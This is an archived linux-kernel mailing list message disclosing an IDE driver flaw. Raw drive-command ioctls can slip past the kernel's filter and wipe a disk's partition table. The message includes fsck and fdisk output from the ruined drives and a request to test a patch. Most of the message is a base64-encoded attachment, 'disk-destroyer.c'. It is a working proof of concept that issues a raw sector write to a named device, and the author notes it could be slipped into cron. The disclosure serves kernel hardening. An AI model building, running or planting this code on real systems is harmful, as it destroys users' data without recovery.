---1019260510-611999854-964067736=:8798
Content-Type: text/PLAIN; CHARSET=us-ascii
Content-ID: <Pine.LNX.4.10.10007192135451.8798@master.linux-ide.org>
Here is the rouge program that can be slipped into CRON.
A perl script......you name the access point and it gets permission
KISS your DATA GONE!
Do not playwith unless you can afford the data loss!
Parallelizing fsck version 1.17 (26-Oct-1999)
e2fsck 1.17, 26-Oct-1999 for EXT2 FS 0.5b, 95/08/09
fsck.ext2: Device not configured while trying to open /dev/hde1
Possibly non-existent or swap device?
mount: /dev/hde1 is not a valid block device
Parallelizing fsck version 1.17 (26-Oct-1999)
e2fsck 1.17, 26-Oct-1999 for EXT2 FS 0.5b, 95/08/09
fsck.ext2: Attempt to read block from filesystem resulted in short read
while trying to open /dev/hdg1
Could this be a zero-length partition?
Not very funny.........heh......
fdisk /dev/hde
Device contains neither a valid DOS partition table, nor Sun or SGI disklabel
Building a new DOS disklabel. Changes will remain in memory only,
until you decide to write them. After that, of course, the previous
content won't be recoverable.
Even less funny now.........heh......
Currently all Linux kernels can be ATTACKED in this method.
This will cause a system death and a full FSCK afterwards and the drive
attacked is gone! In some case you can recover.
This version of "disk-destroyer.c" waxes the partition table.
It is very serious, the scope of this problem.
Now please test the patch and I will begin work on correcting 2.2. then 2.0
There is still a flaw, but I am getting it nailed.
Some of the true disk access commands like in "disk-destroyer.c" slip pass
the filter and need to be tighter. You have to love this.....
Andre Hedrick
The Linux ATA/IDE guy
---1019260510-611999854-964067736=:8798
Content-Type: text/PLAIN; CHARSET=us-ascii; NAME="disk-destroyer.c"
Content-Transfer-Encoding: base64
Content-ID: <Pine.LNX.4.10.10007192135360.8798@master.linux-ide.org>
Content-Description:
Content-Disposition: ATTACHMENT; FILENAME="disk-destroyer.c"
DQovKg0KICogZ2NjIC1XYWxsIC1Xc3RyaWN0LXByb3RvdHlwZXMgLU8yIC1z
IC1vIGRpc2stZGVzdHJveWVyIGRpc2stZGVzdHJveWVyLmMNCiAqLw0KDQoj
aW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bGludXgvc3RyaW5nLmg+
DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+DQoj
aW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDxmY250bC5oPg0KI2luY2x1
ZGUgPGVycm5vLmg+DQojaW5jbHVkZSA8Y3R5cGUuaD4NCiNpbmNsdWRlIDxz
eXMvaW9jdGwuaD4NCiNpbmNsdWRlIDxzeXMvc2htLmg+DQojaW5jbHVkZSA8
c3lzL3N0YXQuaD4NCiNpbmNsdWRlIDxzeXMvc3lzbWFjcm9zLmg+DQojaW5j
bHVkZSA8c3lzL3RpbWUuaD4NCiNpbmNsdWRlIDxzeXMvdGltZXMuaD4NCiNp
bmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxsaW51eC9oZHJlZy5o
Pg0KI2luY2x1ZGUgPGxpbnV4L2ZzLmg+DQojaW5jbHVkZSA8bGludXgvbWFq
b3IuaD4NCg0KaW50IG1haW4oaW50IGFyZ2MsIGNoYXIgKmFyZ3ZbXSkNCnsN
Cgl1bnNpZ25lZCBjaGFyIGFyZ3NbNCs1MTJdID0ge1dJTl9XUklURSwwLDAs
MSx9Ow0KDQoJaW50IGZkOw0KDQoJaWYgKGFyZ2MgIT0gMikgew0KCQlwcmlu
dGYoInVzYWdlOiAlcyBkZXZpY2VcbiIsIGFyZ3ZbMF0pOw0KCQlyZXR1cm4g
MDsNCgl9DQoJaWYgKChmZCA9IG9wZW4oYXJndlsxXSwgT19SRFdSfE9fTk9O
QkxPQ0spKSA9PSAtMSkgew0KCQlwZXJyb3IoImNvdWxkbid0IG9wZW4gZGV2
aWNlIik7DQoJCXJldHVybiAwOw0KCX0NCg0KCWlmIChpb2N0bChmZCwgSERJ
T19EUklWRV9DTUQsICZhcmdzKSkNCgkJcGVycm9yKCIgRElTS19ERVNUUk9Z
RVIgZmFsaWVkIik7DQoNCgljbG9zZShmZCk7DQoJcmV0dXJuIDA7DQp9DQoN
Cg==
---1019260510-611999854-964067736=:8798--
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.rutgers.edu
Please read the FAQ at http://www.tux.org/lkml/